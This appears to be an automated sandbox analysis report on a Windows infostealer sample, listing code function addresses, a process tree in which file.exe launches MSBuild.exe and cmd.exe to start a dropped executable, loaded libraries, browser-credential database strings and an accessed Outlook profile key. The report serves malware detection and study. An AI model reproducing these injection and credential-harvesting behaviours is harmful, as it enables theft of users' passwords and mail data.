Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD0C4A0	2_2_6BD0C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCB5440	2_2_6BCB5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD1545C	2_2_6BD1545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD1AC00	2_2_6BD1AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCE5C10	2_2_6BCE5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCF2C10	2_2_6BCF2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD1542B	2_2_6BD1542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE56BE0	2_2_6BE56BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDF0BA0	2_2_6BDF0BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDCEA80	2_2_6BDCEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDCCA70	2_2_6BDCCA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE08A30	2_2_6BE08A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDFEA00	2_2_6BDFEA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE6C9E0	2_2_6BE6C9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD849F0	2_2_6BD849F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE0A9A0	2_2_6BE0A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE109B0	2_2_6BE109B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDE09A0	2_2_6BDE09A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD88960	2_2_6BD88960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDA6900	2_2_6BDA6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE568E0	2_2_6BE568E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE24840	2_2_6BE24840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDA0820	2_2_6BDA0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDDA820	2_2_6BDDA820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE2EFF0	2_2_6BE2EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD50FE0	2_2_6BD50FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE98FB0	2_2_6BE98FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD5EFB0	2_2_6BD5EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE12F70	2_2_6BE12F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDBEF40	2_2_6BDBEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD56F10	2_2_6BD56F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE90F20	2_2_6BE90F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD5AEC0	2_2_6BD5AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDF0EC0	2_2_6BDF0EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDD6E90	2_2_6BDD6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDEEE70	2_2_6BDEEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE30E20	2_2_6BE30E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BEDCDC0	2_2_6BEDCDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDE6D90	2_2_6BDE6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD54DB0	2_2_6BD54DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE1ED70	2_2_6BE1ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE7AD50	2_2_6BE7AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BED8D20	2_2_6BED8D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDAECD0	2_2_6BDAECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD4ECC0	2_2_6BD4ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD5AC60	2_2_6BD5AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE2AC30	2_2_6BE2AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE16C00	2_2_6BE16C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDA43E0	2_2_6BDA43E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDAE3B0	2_2_6BDAE3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD823A0	2_2_6BD823A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE6C360	2_2_6BE6C360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD58340	2_2_6BD58340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE92370	2_2_6BE92370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD52370	2_2_6BD52370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDE6370	2_2_6BDE6370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDC2320	2_2_6BDC2320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BED62C0	2_2_6BED62C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE222A0	2_2_6BE222A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE1E2B0	2_2_6BE1E2B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDE8250	2_2_6BDE8250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDD8260	2_2_6BDD8260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE28220	2_2_6BE28220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE1A210	2_2_6BE1A210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BD501E0	2_2_6BD501E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BDB8140	2_2_6BDB8140

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6BEDD930 appears 32 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6BED09D0 appears 166 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6BD73620 appears 32 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6BD79B10 appears 32 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6BEDDAE0 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6BCDCBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6BCE94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00DC7B80 appears 49 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 268

Source: file.exe, 00000000.00000000.2022672626.0000000000E3C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameproquota.exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .data ZLIB complexity 0.98996875

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/28@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_6BD07030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6BD07030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_00419600

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

2_2_00413720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\DWMYUOPF.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5472:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1476

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\06c6c90d-b4f8-4b0f-b712-db800750fea9

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498049086.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498049086.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498049086.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498049086.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498049086.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498049086.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498049086.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: JJECFIECBGDGCAAAEHIE.2.dr, ECGDAAFIIJDAAAAKFHID.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498049086.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498049086.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userEGDGCGCFHI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userEGDGCGCFHI.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
